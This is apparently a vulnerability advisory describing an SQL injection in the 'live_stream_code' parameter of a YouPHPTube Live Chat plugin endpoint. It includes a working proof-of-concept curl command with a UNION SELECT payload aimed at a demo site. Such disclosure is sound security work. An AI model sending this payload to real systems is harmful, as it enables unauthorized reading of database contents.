User input passed through the "live_stream_code" POST parameter to /plugin/LiveChat/getChat.json.php is not properly sanitized before being used to construct a SQL query. This can be exploited by malicious users to e.g. read sensitive data from the database through in-band SQL Injection attacks. Successful exploitation of this vulnerability requires the "Live Chat" plugin to be enabled.

Proof of Concept:

curl -X POST -d "live_stream_code=' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,VERSION(),31,32,33,34,35,36#" https://demo.youphptube.com/plugin/LiveChat/getChat.json.php